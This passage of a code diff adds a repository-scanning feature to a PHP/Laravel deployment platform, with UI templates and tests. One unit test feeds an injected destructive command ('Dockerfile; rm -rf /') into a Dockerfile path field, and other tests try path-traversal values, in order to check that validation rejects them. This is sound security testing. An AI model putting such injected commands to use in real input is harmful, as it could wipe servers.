$this->unsavedApplicationForDetection( + $this->git_repository, + $this->branch ?? 'main', + $this->git_source instanceof GithubApp || $this->git_source instanceof GitlabApp ? $this->git_source : null, + PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id), + ); + } + public function submit() { $this->authorize('create', Application::class); @@ -186,6 +200,9 @@ class GithubPrivateRepositoryDeployKey extends Component if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { $application_init['health_check_enabled'] = false; } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; @@ -200,6 +217,8 @@ class GithubPrivateRepositoryDeployKey extends Component $application->name = generate_random_name($application->uuid); $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Livewire/Project/New/PublicGitRepository.php b/app/Livewire/Project/New/PublicGitRepository.php index a44aa050d9..c14c9dcd37 100644 --- a/app/Livewire/Project/New/PublicGitRepository.php +++ b/app/Livewire/Project/New/PublicGitRepository.php @@ -9,6 +9,7 @@ use App\Models\Project; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Support\ValidationPatterns; +use App\Traits\HasRepositoryDetection; use Carbon\Carbon; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -17,6 +18,7 @@ use Spatie\Url\Url; class PublicGitRepository extends Component { use AuthorizesRequests; + use HasRepositoryDetection; public string $repository_url; @@ -167,17 +169,17 @@ class PublicGitRepository extends Component $this->git_branch = 'master'; } $this->selectedBranch = $this->git_branch; + } catch (\Throwable $e) { if ($this->rate_limit_remaining == 0) { $this->selectedBranch = $this->git_branch; $this->branchFound = true; - return; - } - if (! $this->branchFound && $this->git_branch === 'main') { + } elseif (! $this->branchFound && $this->git_branch === 'main') { try { $this->git_branch = 'master'; $this->getBranch(); + } catch (\Throwable $e) { return handleError($e, $this); } @@ -185,6 +187,19 @@ class PublicGitRepository extends Component return handleError($e, $this); } } + if ($this->branchFound) { + $this->selectedBranch = $this->git_branch; + $this->detectRepository(); + } + } + + protected function applicationForDetection(): Application + { + return $this->unsavedApplicationForDetection( + $this->git_repository, + $this->git_branch, + $this->git_source instanceof GithubApp || $this->git_source instanceof GitlabApp ? $this->git_source : null, + ); } private function getGitSource() @@ -331,6 +346,9 @@ class PublicGitRepository extends Component if ($this->build_pack === 'dockerfile' || $this->build_pack === 'dockerimage') { $application_init['health_check_enabled'] = false; } + if ($this->build_pack === 'dockerfile' && $dockerfileLocation = $this->selectedDockerfileLocation()) { + $application_init['dockerfile_location'] = $dockerfileLocation; + } if ($this->build_pack === 'dockercompose') { $application_init['docker_compose_location'] = $this->docker_compose_location; $application_init['base_directory'] = $this->base_directory; @@ -344,6 +362,8 @@ class PublicGitRepository extends Component $application->fqdn = $fqdn; $application->save(); + $this->importDetectedEnvironmentVariables($application); + return redirect()->route('project.application.configuration', [ 'application_uuid' => $application->uuid, 'environment_uuid' => $environment->uuid, diff --git a/app/Models/Application.php b/app/Models/Application.php index 3b0ac88ce5..e09f96a266 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -2280,6 +2280,17 @@ class Application extends BaseModel return $reason ? '

Reason: '.e(str($reason)->limit(300)->value()) : ''; } + /** + * One shell command that clones the repository without a checkout into $checkoutDir on the server, + * with the same credentials (GitHub App token, GitLab token, or deploy key) as a deployment. + */ + public function serverCheckoutCommand(string $uuid, string $checkoutDir): string + { + ['commands' => $cloneCommand] = $this->generateGitImportCommands(deployment_uuid: $uuid, only_checkout: true, exec_in_docker: false, custom_base_dir: $checkoutDir); + + return str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)); + } + /** * Commands that check out only the Compose file on the server and print it. They run on the * server itself, not in a helper container, so the checkout uses an absolute folder in /tmp. @@ -2289,8 +2300,7 @@ class Application extends BaseModel private function composeFileReadCommands(string $uuid, string $gitVersion): Collection { $checkoutDir = "/tmp/{$uuid}/checkout"; - ['commands' => $cloneCommand] = $this->generateGitImportCommands(deployment_uuid: $uuid, only_checkout: true, exec_in_docker: false, custom_base_dir: $checkoutDir); - $cloneCommand = str_replace(' clone ', ' clone --quiet ', $this->gitCommandsAsShellCommand($cloneCommand)); + $cloneCommand = $this->serverCheckoutCommand($uuid, $checkoutDir); $workdir = rtrim($this->base_directory, '/'); $fileList = collect([".{$workdir}{$this->docker_compose_location}"]); $composeFilePath = escapeshellarg(".{$workdir}{$this->docker_compose_location}"); diff --git a/app/Services/RepositoryDetector.php b/app/Services/RepositoryDetector.php new file mode 100644 index 0000000000..371f15908e --- /dev/null +++ b/app/Services/RepositoryDetector.php @@ -0,0 +1,129 @@ +scanCommands($uuid), $this->server, timeout: 60); + } finally { + instant_remote_process(["rm -rf /tmp/{$uuid}"], $this->server, false); + } + + return $this->parseOutput((string) str($output)->trim()->afterLast("\n")); + } + + /** + * Clones the repository without a checkout and lists the files with `git ls-tree`, so no file is + * written to the disk. Each command is one line because non-root servers send every line through + * parseCommandsByLineForSudo(). + * + * @return Collection + */ + protected function scanCommands(string $uuid): Collection + { + $checkoutDir = "/tmp/{$uuid}/checkout"; + $baseDir = trim($this->baseDirectory, '/'); + if (preg_match('~(^|/)\.\.?(/|$)~', $baseDir) || ! preg_match('~^[a-zA-Z0-9_./-]*$~', $baseDir)) { + throw new RuntimeException('Invalid repository base directory.'); + } + $tree = escapeshellarg($baseDir === '' ? 'HEAD' : "HEAD:{$baseDir}"); + $maxEnvBytes = self::MAX_ENV_FILE_BYTES; + + $classifyFiles = <<<'AWK' +{ split($1, meta, " "); if (meta[1] != "100644" && meta[1] != "100755") next; path = $2; lower = tolower(path); name = lower; sub(/.*\//, "", name); if (name ~ /^dockerfile(\.[a-z0-9_-]+)?$/) kind = "dockerfile"; else if (name ~ /^(docker-)?compose\.ya?ml$/) kind = "compose"; else if (lower ~ /^\.env\.(example|sample|template|dist|local\.example)$/) kind = "env"; else next; print kind "\t" meta[3] "\t" path } +AWK; + $exposedPort = <<<'AWK' +{ sub(/\r$/, "") } toupper($1) == "EXPOSE" { split($2, p, "/"); if (p[1] ~ /^[0-9]+$/ && p[1] + 0 > 0 && p[1] + 0 <= 65535) print p[1] + 0; exit } +AWK; + $summary = '{dockerfiles: map(select(.kind == "dockerfile") | .file), dockerComposeFiles: map(select(.kind == "compose") | .file), envFiles: (map(select(.kind == "env") | {(.file): .content}) | add // {}), dockerfilePorts: (map(select(.kind == "dockerfile") | {(.file): .port}) | add // {})}'; + + $scan = 'tab=$(printf "\t"); ' + ."git -c core.quotePath=false ls-tree -r {$tree} | awk -F '\\t' ".escapeshellarg($classifyFiles) + .' | while IFS="$tab" read -r kind object file; do case "$kind" in ' + .'dockerfile) port=$(git cat-file blob "$object" | awk '.escapeshellarg($exposedPort).'); ' + .'jq -nc --arg file "$file" --argjson port "${port:-null}" \'{kind: "dockerfile", file: $file, port: $port}\' ;; ' + .'compose) jq -nc --arg file "$file" \'{kind: "compose", file: $file}\' ;; ' + ."env) git cat-file blob \"\$object\" | head -c {$maxEnvBytes} | jq -Rsc --arg file \"\$file\" '{kind: \"env\", file: \$file, content: .}' ;; " + .'esac; done | jq -sc '.escapeshellarg($summary); + + return collect([ + "rm -rf /tmp/{$uuid}", + "mkdir -p /tmp/{$uuid}", + "cd /tmp/{$uuid}", + 'sh -c '.escapeshellarg($this->application->serverCheckoutCommand($uuid, $checkoutDir)), + "cd {$checkoutDir}", + 'sh -c '.escapeshellarg($scan), + ]); + } + + protected function parseOutput(string $output): RepositoryDetectionResult + { + $data = json_decode(trim($output), true); + + if (! is_array($data)) { + return RepositoryDetectionResult::none(); + } + + foreach (['dockerfiles', 'dockerComposeFiles', 'envFiles', 'dockerfilePorts'] as $key) { + if (isset($data[$key]) && ! is_array($data[$key])) { + return RepositoryDetectionResult::none(); + } + } + + $dockerfilePorts = []; + foreach ($data['dockerfilePorts'] ?? [] as $file => $port) { + $dockerfilePorts[$file] = (is_int($port) || (is_string($port) && ctype_digit($port))) && (int) $port > 0 && (int) $port <= 65535 ? (int) $port : null; + } + + return new RepositoryDetectionResult( + dockerfiles: $this->sortByPreference(array_filter($data['dockerfiles'] ?? [], 'is_string'), '/^dockerfile$/i'), + dockerComposeFiles: $this->sortByPreference(array_filter($data['dockerComposeFiles'] ?? [], 'is_string'), '/^docker-compose\.ya?ml$/i'), + envFiles: array_filter($data['envFiles'] ?? [], fn ($content) => is_string($content) || $content === null), + dockerfilePorts: $dockerfilePorts, + ); + } + + /** + * Puts the file nearest to the base directory first. At the same depth, a file with the default + * name (for example `Dockerfile`) comes before a variant. Other files keep the scan order. + * + * @param array $files + * @return array + */ + private function sortByPreference(array $files, string $defaultNamePattern): array + { + $files = array_values($files); + usort($files, fn (string $a, string $b): int => [substr_count($a, '/'), ! preg_match($defaultNamePattern, basename($a))] + <=> [substr_count($b, '/'), ! preg_match($defaultNamePattern, basename($b))]); + + return $files; + } +} diff --git a/app/Traits/HasRepositoryDetection.php b/app/Traits/HasRepositoryDetection.php new file mode 100644 index 0000000000..7a4fced3e4 --- /dev/null +++ b/app/Traits/HasRepositoryDetection.php @@ -0,0 +1,273 @@ +authorize('create', Application::class); + try { + $application = $this->applicationForDetection(); + } catch (\Throwable $e) { + handleError($e, $this); + + return; + } + Validator::make([ + 'branch' => $application->git_branch, + 'base_directory' => $this->base_directory ?? '/', + ], [ + 'branch' => ['required', new ValidGitBranch], + 'base_directory' => ['required', 'string', 'regex:~^/?(?:[a-zA-Z0-9_.-]+/)*[a-zA-Z0-9_.-]*$~', 'not_regex:~(^|/)\.\.?(/|$)~'], + ])->validate(); + + $destination = find_resource_destination_for_current_team(data_get($this->query, 'destination')); + if (! $destination) { + $this->dispatch('error', 'Destination not found.'); + + return; + } + $this->authorize('update', $destination->server); + + $this->detectionRan = false; + $this->detectionFailed = false; + $this->applyDetectionResult(RepositoryDetectionResult::none()); + try { + $detector = new RepositoryDetector($application, $this->base_directory ?? '/', $destination->server); + $this->applyDetectionResult($detector->detect()); + } catch (\Throwable $e) { + // The exception can contain the clone command with a Git token, so do not log the message. + Log::debug('Repository detection failed', ['exception' => $e::class]); + $this->detectionFailed = true; + $this->dispatch('error', 'Smart Scan could not read the repository. Check the repository access and the branch.'); + } + $this->detectionRan = true; + } + + /** + * Builds an application that is not saved, only to generate the clone command for the scan. + */ + protected function unsavedApplicationForDetection(string $repository, string $branch, GithubApp|GitlabApp|null $source = null, ?PrivateKey $privateKey = null): Application + { + $application = (new Application)->forceFill([ + 'git_repository' => $repository, + 'git_branch' => $branch, + 'git_commit_sha' => 'HEAD', + 'private_key_id' => $privateKey?->id, + ]); + $application->setRelation('settings', (new ApplicationSetting)->forceFill([ + 'is_git_shallow_clone_enabled' => true, + 'is_git_submodules_enabled' => false, + ])); + $application->setRelation('source', $source); + $application->setRelation('private_key', $privateKey); + + return $application; + } + + protected function importDetectedEnvironmentVariables(Application $application): void + { + if (! $this->envImported || empty($this->envExampleVars)) { + return; + } + Validator::make(['variables' => $this->envExampleVars], [ + 'variables' => ['array'], + 'variables.*' => ['nullable', 'string'], + ])->validate(); + $application->getConnection()->transaction(function () use ($application): void { + foreach ($this->envExampleVars as $key => $value) { + if (! preg_match('/^[A-Z_][A-Z0-9_]*$/i', (string) $key)) { + continue; + } + EnvironmentVariable::create([ + 'key' => $key, + 'value' => $value, + 'resourceable_type' => $application->getMorphClass(), + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + } + }); + } + + protected function applyDetectionResult(RepositoryDetectionResult $result): void + { + $this->detectedDockerfiles = $result->dockerfiles; + $this->detectedDockerComposeFiles = $result->dockerComposeFiles; + $this->dockerfilePorts = $result->dockerfilePorts; + + $this->selectedDockerfile = null; + $this->selectedDockerComposeFile = null; + $this->detectedPort = null; + $this->detectedEnvFiles = []; + $this->parsedEnvFiles = []; + $this->selectedEnvFile = null; + $this->envExampleVars = []; + $this->envImported = false; + + $this->suggestedBuildPack = $result->getSuggestedBuildPack()?->value; + if ($this->suggestedBuildPack && $this->suggestedBuildPack !== $this->build_pack) { + $this->build_pack = $this->suggestedBuildPack; + $this->updatedBuildPack(); + } + + if ($result->hasDockerfile()) { + $this->selectedDockerfile = $result->dockerfiles[0]; + $port = $result->dockerfilePorts[$this->selectedDockerfile] ?? null; + $this->port = $port ?? 3000; + $this->detectedPort = $port; + } + + if ($result->hasDockerCompose()) { + $this->selectedDockerComposeFile = $result->dockerComposeFiles[0]; + $this->docker_compose_location = '/'.$this->selectedDockerComposeFile; + } + + if ($result->hasEnvFiles()) { + $this->detectedEnvFiles = array_keys($result->envFiles); + $this->parsedEnvFiles = []; + foreach ($result->envFiles as $filename => $content) { + $parsed = $content !== null ? parseEnvFormatToArray($content) : []; + // parseEnvFormatToArray returns ['KEY' => ['value' => ..., 'comment' => ...]]. + // Flatten to a plain ['KEY' => 'value'] map for the import form. + $this->parsedEnvFiles[$filename] = collect($parsed) + ->map(fn ($item) => is_array($item) ? (string) ($item['value'] ?? '') : (string) $item) + ->all(); + } + $this->selectedEnvFile = $this->detectedEnvFiles[0]; + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile] ?? []; + } + } + + /** + * Repository path without a leading slash, so a typed path matches the detected paths. + */ + protected function normalizeRepositoryFilePath(?string $path): ?string + { + $path = ltrim(trim((string) $path), '/'); + + return $path === '' ? null : $path; + } + + /** + * Dockerfile location for the new application: a detected file or a path the user typed. + */ + protected function selectedDockerfileLocation(): ?string + { + $path = $this->normalizeRepositoryFilePath($this->selectedDockerfile); + if ($path === null) { + return null; + } + $location = '/'.$path; + Validator::make( + ['selectedDockerfile' => $location], + ['selectedDockerfile' => ValidationPatterns::filePathRules()], + ValidationPatterns::filePathMessages('selectedDockerfile', 'Dockerfile'), + )->validate(); + + return $location; + } + + public function updatedSelectedDockerfile(): void + { + $this->selectedDockerfile = $this->normalizeRepositoryFilePath($this->selectedDockerfile); + $this->resetErrorBag('selectedDockerfile'); + $this->selectedDockerfileLocation(); + + $port = $this->dockerfilePorts[$this->selectedDockerfile ?? ''] ?? null; + $this->port = $port ?? 3000; + $this->detectedPort = $port; + } + + public function updatedSelectedDockerComposeFile(): void + { + $this->selectedDockerComposeFile = $this->normalizeRepositoryFilePath($this->selectedDockerComposeFile); + + if ($this->selectedDockerComposeFile) { + $this->docker_compose_location = '/'.$this->selectedDockerComposeFile; + } + } + + public function updatedSelectedEnvFile(): void + { + if ($this->selectedEnvFile && isset($this->parsedEnvFiles[$this->selectedEnvFile])) { + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile]; + $this->envImported = false; + } + } + + public function confirmEnvImport(): void + { + $this->envImported = true; + } + + public function clearEnvVars(): void + { + $this->envImported = false; + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile] ?? []; + } +} diff --git a/resources/views/components/forms/listbox.blade.php b/resources/views/components/forms/listbox.blade.php index 2f382fd1c2..58cb9b406b 100644 --- a/resources/views/components/forms/listbox.blade.php +++ b/resources/views/components/forms/listbox.blade.php @@ -23,6 +23,7 @@ 'searchable' => false, // true = a search field filters the options 'searchPlaceholder' => 'Search…', 'searchEmptyText' => 'No matching options', + 'allowCustom' => false, // true (with searchable) = the search text can be chosen as a custom value ]) @php @@ -92,9 +93,15 @@ return this.options.filter((option) => !option.header && [option.label, option.value, option.description] .some((text) => String(text ?? '').toLowerCase().includes(query))); }, + get customOption() { + const query = this.query.trim(); + if (!@js($allowCustom) || query === '' || this.options.some((option) => !option.header && String(option.value) === query)) return null; + return { value: query, label: query }; + }, chooseOnlyMatch() { const matches = this.visibleOptions.filter((option) => !option.disabled); if (matches.length === 1) this.choose(matches[0]); + else if (this.customOption) this.choose(this.customOption); }, @else get visibleOptions() { @@ -126,7 +133,8 @@ }, get current() { const found = this.options.find((option) => String(option.value) === String(this.value)); - return found ? found.label : @js($placeholder); + if (found) return found.label; + return @js($allowCustom) && this.value ? String(this.value) : @js($placeholder); }, get title() { return this.current; @@ -237,7 +245,7 @@
@endif -
@if ($searchable) @@ -272,6 +280,14 @@
+ @if ($searchable && $allowCustom) + + @endif @if ($searchable)
@endif @@ -296,7 +312,7 @@
@endif -
@if ($searchable) @@ -329,6 +345,14 @@
+ @if ($searchable && $allowCustom) + + @endif @if ($searchable)
@endif diff --git a/resources/views/components/reicon.blade.php b/resources/views/components/reicon.blade.php index a611869feb..71d89016c8 100644 --- a/resources/views/components/reicon.blade.php +++ b/resources/views/components/reicon.blade.php @@ -8,6 +8,7 @@ $icons = [ 'fire' => '', 'cloud' => '', + 'brain' => '', 'code' => '', 'analytics' => '', 'mail' => '', diff --git a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php index b0dc41bb4d..eea738ef61 100644 --- a/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php +++ b/resources/views/livewire/project/new/github-private-repository-deploy-key.blade.php @@ -103,6 +103,25 @@ @endif + + @include('livewire.project.new.partials.smart-scan-summary') + + {{-- Dockerfile: pick a detected file or type a path --}} + @if ($build_pack === 'dockerfile') + + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php index 9ca9c2fec3..38bd93ded9 100644 --- a/resources/views/livewire/project/new/github-private-repository.blade.php +++ b/resources/views/livewire/project/new/github-private-repository.blade.php @@ -104,6 +104,8 @@ Continue
+ @include('livewire.project.new.partials.smart-scan-summary') +
+ {{-- Dockerfile: pick a detected file or type a path --}} + @if ($build_pack === 'dockerfile') + + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif + @if ($build_pack === 'dockercompose')
+ + {{ $envImported ? 'Edit' : 'Review' }} + + +
+ @if (count($detectedEnvFiles) > 1) + + @endif +
+ @foreach ($envExampleVars as $key => $value) +
+ {{ $key }} + +
+ @endforeach +
+
+ + + @if ($envImported) + Remove import + @endif + + {{ $envImported ? 'Update' : 'Import' }} {{ count($envExampleVars) }} {{ Str::plural('variable', count($envExampleVars)) }} + + + diff --git a/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php b/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php new file mode 100644 index 0000000000..690bba4303 --- /dev/null +++ b/resources/views/livewire/project/new/partials/smart-scan-summary.blade.php @@ -0,0 +1,73 @@ +{{-- + Smart Scan result inside the build configuration, as a compact divided list: the build pack, + the Dockerfile port, and the env file import. The scan button sends the current base directory, + so the user can scan a subdirectory after changing it. +--}} +@php + $buildPackLabels = ['dockercompose' => 'Docker Compose', 'dockerfile' => 'Dockerfile']; + $suggestedFile = match ($suggestedBuildPack) { + 'dockercompose' => $detectedDockerComposeFiles[0] ?? null, + 'dockerfile' => $detectedDockerfiles[0] ?? null, + default => null, + }; + $nestedFiles = collect([ + count($detectedDockerfiles) ? count($detectedDockerfiles).' '.Str::plural('Dockerfile', count($detectedDockerfiles)) : null, + count($detectedDockerComposeFiles) ? count($detectedDockerComposeFiles).' '.Str::plural('Compose file', count($detectedDockerComposeFiles)) : null, + ])->filter()->join(' and '); + $showPort = $detectionRan && $build_pack === 'dockerfile' && in_array($selectedDockerfile, $detectedDockerfiles, true); +@endphp + +
+
+

+ Smart Scan +

+ + + {{ $detectionRan ? 'Scan again' : 'Scan repository' }} + +
+ +
+ +
+ +
+ @if (! $detectionRan) + + @elseif ($detectionFailed) + + @elseif ($suggestedBuildPack) + + @elseif ($nestedFiles !== '') + + @else + + @endif + + @if ($showPort) + @if ($detectedPort) + + @else + + @endif + @endif + + @if ($detectionRan && count($envExampleVars) > 0) +
+ + @include('livewire.project.new.partials.env-import-modal') +
+ @endif +
+
diff --git a/resources/views/livewire/project/new/public-git-repository.blade.php b/resources/views/livewire/project/new/public-git-repository.blade.php index 137d880eed..2d3d3ba596 100644 --- a/resources/views/livewire/project/new/public-git-repository.blade.php +++ b/resources/views/livewire/project/new/public-git-repository.blade.php @@ -56,6 +56,8 @@ @endif + @include('livewire.project.new.partials.smart-scan-summary') +
+ {{-- Dockerfile: pick a detected file or type a path --}} + @if ($build_pack === 'dockerfile') + + @endif + + {{-- Docker Compose file selector: pick a detected file or type a path --}} + @if ($build_pack === 'dockercompose' && count($detectedDockerComposeFiles) > 0) + + @endif + @if ($build_pack === 'dockercompose')
+ BLADE); + + expect($html) + ->toContain('x-if="customOption"') + ->toContain('!customOption'); +}); + +test('listbox without allowCustom offers no custom option', function () { + $html = Blade::render(<<<'BLADE' + + BLADE); + + expect($html)->not->toContain('x-if="customOption"'); +}); + test('listbox without searchable renders no search field', function () { $html = Blade::render(<<<'BLADE' diff --git a/tests/Feature/RepositoryScanSecurityTest.php b/tests/Feature/RepositoryScanSecurityTest.php new file mode 100644 index 0000000000..4d1d441736 --- /dev/null +++ b/tests/Feature/RepositoryScanSecurityTest.php @@ -0,0 +1,98 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); +}); + +test('members cannot start scans in any creation flow', function (string $componentClass) { + $this->team->members()->attach($this->user->id, ['role' => 'member']); + $component = new $componentClass; + expect(fn () => $component->detectRepository())->toThrow(AuthorizationException::class); +})->with([PublicGitRepository::class, GithubPrivateRepository::class, GithubPrivateRepositoryDeployKey::class]); + +test('owners cannot use scan base directory traversal', function () { + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $component = new PublicGitRepository; + $component->git_repository = 'https://github.com/test/repo'; + $component->base_directory = '/../outside'; + expect(fn () => $component->detectRepository())->toThrow(ValidationException::class); +}); + +test('scan does not run on a destination from another team', function () { + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $otherServer = Server::factory()->create(['team_id' => Team::factory()->create()->id]); + $otherDestination = $otherServer->standaloneDockers()->firstOrFail(); + + Livewire\Livewire::test(RepositoryScanStateTestComponent::class) + ->set('git_repository', 'https://github.com/test/repo') + ->set('query', ['destination' => $otherDestination->uuid]) + ->call('detectRepository') + ->assertDispatched('error', 'Destination not found.') + ->assertSet('detectionRan', false); +}); + +test('environment import stores valid keys and skips malformed keys', function () { + $application = Application::factory()->create(['build_pack' => 'dockerfile']); + $component = new class extends PublicGitRepository + { + public function importInto(Application $application): void + { + $this->importDetectedEnvironmentVariables($application); + } + }; + $component->envImported = true; + $component->envExampleVars = ['VALID_KEY' => 'value', 'invalid.key' => 'ignored', '1BAD' => 'ignored']; + $component->importInto($application); + expect($application->environment_variables()->pluck('value', 'key')->all())->toBe(['VALID_KEY' => 'value']); +}); + +class RepositoryScanStateTestComponent extends PublicGitRepository +{ + public function mount() {} + + public function render() + { + return '
'; + } +} + +test('clients cannot change the detected Dockerfile allowlist', function () { + expect(fn () => Livewire\Livewire::test(RepositoryScanStateTestComponent::class) + ->set('detectedDockerfiles', ['../../outside/Dockerfile'])) + ->toThrow(CannotUpdateLockedPropertyException::class); +}); + +test('deploy key scans clone with the key, like a deployment', function () { + $application = (new Application)->forceFill(['git_repository' => 'git@github.com:test/private.git', 'git_branch' => 'main', 'git_commit_sha' => 'HEAD', 'private_key_id' => 5]); + $application->setRelation('settings', (new ApplicationSetting)->forceFill(['is_git_shallow_clone_enabled' => true, 'is_git_submodules_enabled' => false])); + $application->setRelation('source', null); + $application->setRelation('private_key', (new PrivateKey)->forceFill(['private_key' => 'test-key'])); + $detector = new RepositoryDetector($application, '/', new Server); + + $clone = (new ReflectionMethod($detector, 'scanCommands'))->invoke($detector, 'scan-test')->get(3); + + expect($clone)->toStartWith('sh -c ') + ->toContain(base64_encode('test-key')) + ->toContain('-i /root/.ssh/id_rsa_coolify_scan-test') + ->toContain('git@github.com:test/private.git'); +}); diff --git a/tests/Unit/HasRepositoryDetectionTest.php b/tests/Unit/HasRepositoryDetectionTest.php new file mode 100644 index 0000000000..a06c778c97 --- /dev/null +++ b/tests/Unit/HasRepositoryDetectionTest.php @@ -0,0 +1,152 @@ +unsavedApplicationForDetection('test/repo', 'main'); + } + + public function updatedBuildPack(): void {} + + public function resetErrorBag($field = null): void {} + + public function dockerfileLocation(): ?string + { + return $this->selectedDockerfileLocation(); + } + + public function apply(RepositoryDetectionResult $result): void + { + $this->applyDetectionResult($result); + } +} + +test('env vars are flattened to plain key value strings for the import form', function () { + $host = new RepositoryDetectionHost; + + $host->apply(new RepositoryDetectionResult( + envFiles: [ + '.env.example' => "APP_NAME=MyApp\nAPP_DEBUG=true\nAPP_URL=\"https://example.com\"", + ], + )); + + expect($host->envExampleVars)->toBe([ + 'APP_NAME' => 'MyApp', + 'APP_DEBUG' => 'true', + 'APP_URL' => 'https://example.com', + ]); + + // No value should be an array (which would render as "[object Object]" in the UI). + foreach ($host->envExampleVars as $value) { + expect($value)->toBeString(); + } +}); + +test('switching the selected env file keeps values flat', function () { + $host = new RepositoryDetectionHost; + + $host->apply(new RepositoryDetectionResult( + envFiles: [ + '.env.example' => 'FOO=bar', + '.env.sample' => 'BAZ=qux', + ], + )); + + $host->selectedEnvFile = '.env.sample'; + $host->updatedSelectedEnvFile(); + + expect($host->envExampleVars)->toBe(['BAZ' => 'qux']); +}); + +test('empty scan preserves the chosen build pack and clears previous results', function () { + $host = new RepositoryDetectionHost; + $host->apply(new RepositoryDetectionResult(envFiles: ['.env.example' => 'FOO=bar'])); + $host->envImported = true; + $host->apply(RepositoryDetectionResult::none()); + + expect($host->build_pack)->toBe('railpack') + ->and($host->envExampleVars)->toBe([]) + ->and($host->detectedEnvFiles)->toBe([]) + ->and($host->selectedEnvFile)->toBeNull() + ->and($host->envImported)->toBeFalse(); +}); + +test('switching to a Dockerfile without EXPOSE resets the detected port', function () { + $host = new RepositoryDetectionHost; + $host->apply(new RepositoryDetectionResult( + dockerfiles: ['Dockerfile', 'Dockerfile.worker'], + dockerfilePorts: ['Dockerfile' => 8080, 'Dockerfile.worker' => null], + )); + $host->selectedDockerfile = 'Dockerfile.worker'; + $host->updatedSelectedDockerfile(); + + expect($host->port)->toBe(3000)->and($host->detectedPort)->toBeNull(); +}); + +test('a typed Dockerfile path that was not detected is kept', function () { + $host = new RepositoryDetectionHost; + $host->apply(new RepositoryDetectionResult(dockerfiles: ['Dockerfile'], dockerfilePorts: ['Dockerfile' => 8080])); + $host->selectedDockerfile = ' /docker/prod.Dockerfile '; + $host->updatedSelectedDockerfile(); + + expect($host->selectedDockerfile)->toBe('docker/prod.Dockerfile') + ->and($host->dockerfileLocation())->toBe('/docker/prod.Dockerfile') + ->and($host->port)->toBe(3000); +}); + +test('a typed Dockerfile path with unsafe characters is rejected', function () { + $host = new RepositoryDetectionHost; + $host->selectedDockerfile = 'Dockerfile; rm -rf /'; + + expect(fn () => $host->updatedSelectedDockerfile())->toThrow(ValidationException::class); +}); + +test('an empty Dockerfile selection keeps the default location', function () { + $host = new RepositoryDetectionHost; + $host->selectedDockerfile = ' '; + $host->updatedSelectedDockerfile(); + + expect($host->selectedDockerfile)->toBeNull()->and($host->dockerfileLocation())->toBeNull(); +}); + +test('a typed Docker Compose path sets the compose location', function () { + $host = new RepositoryDetectionHost; + $host->apply(new RepositoryDetectionResult(dockerComposeFiles: ['docker-compose.yml'])); + $host->selectedDockerComposeFile = '/deploy/compose.prod.yaml'; + $host->updatedSelectedDockerComposeFile(); + + expect($host->selectedDockerComposeFile)->toBe('deploy/compose.prod.yaml') + ->and($host->docker_compose_location)->toBe('/deploy/compose.prod.yaml'); +}); + +test('nested build files do not change the build pack', function () { + $host = new RepositoryDetectionHost; + $host->apply(new RepositoryDetectionResult( + dockerfiles: ['apps/api/Dockerfile'], + dockerComposeFiles: ['examples/demo/docker-compose.yml'], + )); + + expect($host->build_pack)->toBe('railpack') + ->and($host->suggestedBuildPack)->toBeNull() + ->and($host->detectedDockerComposeFiles)->toBe(['examples/demo/docker-compose.yml']); +}); diff --git a/tests/Unit/RepositoryDetectionResultTest.php b/tests/Unit/RepositoryDetectionResultTest.php new file mode 100644 index 0000000000..34bc2d189d --- /dev/null +++ b/tests/Unit/RepositoryDetectionResultTest.php @@ -0,0 +1,120 @@ +dockerfiles)->toBe([]) + ->and($result->dockerComposeFiles)->toBe([]) + ->and($result->envFiles)->toBe([]) + ->and($result->dockerfilePorts)->toBe([]); +}); + +test('getSuggestedBuildPack returns dockercompose when compose files found', function () { + $result = new RepositoryDetectionResult( + dockerfiles: ['Dockerfile'], + dockerComposeFiles: ['docker-compose.yml'], + ); + + expect($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERCOMPOSE); +}); + +test('getSuggestedBuildPack returns dockerfile when only dockerfiles found', function () { + $result = new RepositoryDetectionResult( + dockerfiles: ['Dockerfile'], + ); + + expect($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERFILE); +}); + +test('getSuggestedBuildPack returns null when nothing found', function () { + $result = RepositoryDetectionResult::none(); + + expect($result->getSuggestedBuildPack())->toBeNull(); +}); + +test('getSuggestedBuildPack ignores files in subdirectories', function () { + $result = new RepositoryDetectionResult( + dockerfiles: ['Dockerfile', 'apps/api/Dockerfile'], + dockerComposeFiles: ['examples/demo/docker-compose.yml'], + ); + + expect($result->getSuggestedBuildPack())->toBe(BuildPackTypes::DOCKERFILE); + + $nestedOnly = new RepositoryDetectionResult( + dockerfiles: ['apps/api/Dockerfile'], + 